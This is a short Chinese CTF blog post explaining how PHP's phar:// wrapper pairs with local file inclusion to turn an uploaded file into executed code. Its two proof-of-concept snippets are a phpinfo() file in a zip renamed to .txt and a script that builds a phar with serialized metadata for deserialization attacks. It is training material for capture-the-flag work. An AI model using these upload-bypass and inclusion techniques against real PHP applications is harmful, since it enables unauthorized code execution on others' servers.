iloveflag-blog

浅谈phar文件在ctf中的应用

字数统计: 417阅读时长: 1 min
2020/07/09 Share

phar在文件上传限制与lfi结合中getshell(2020腾讯犀牛鸟)

Environment
针对phar://不管后缀是什么,都会当做压缩包来解压。
phar文件本质上是也一种压缩文件。

用法:?file=phar://[压缩包文件相对路径]/[压缩文件内的子文件名]

poc1

将test.php压缩成test.zip,后缀改为test.txt上传

1
2
3
//test.php
<?php
phpinfo();




因为可以看到
1
$inc=sprintf("%s.php",$file);

这也是为什么我们一开始要用test.php生成压缩包的原因

poc2

当然,在前面也说了phar本身就是一个压缩文件,所以可以看到很多wp上会先生成phar文件(===压缩包),然后改后缀上传
All Phar archives contain three to four sections:

1.a stub
A Phar’s stub is a simple PHP file. The smallest possible stub follows:
<?php __HALT_COMPILER();
2.a manifest describing the contents

3.the file contents
被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
4.[optional] a signature for verifying Phar integrity (phar file format only)

tip: php.ini中必须设置phar.readonly=Off。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Test{

}
@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.php", "<?php phpinfo();"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
?>

phar与反序列化

https://blog.lou00.top/27/D3ctf-2019-Official-Writeup-ezupload/index.html

https://paper.seebug.org/680/

CATALOG
  1. 1. phar在文件上传限制与lfi结合中getshell(2020腾讯犀牛鸟)
    1. 1.1. poc1
    2. 1.2. poc2
  2. 2. phar与反序列化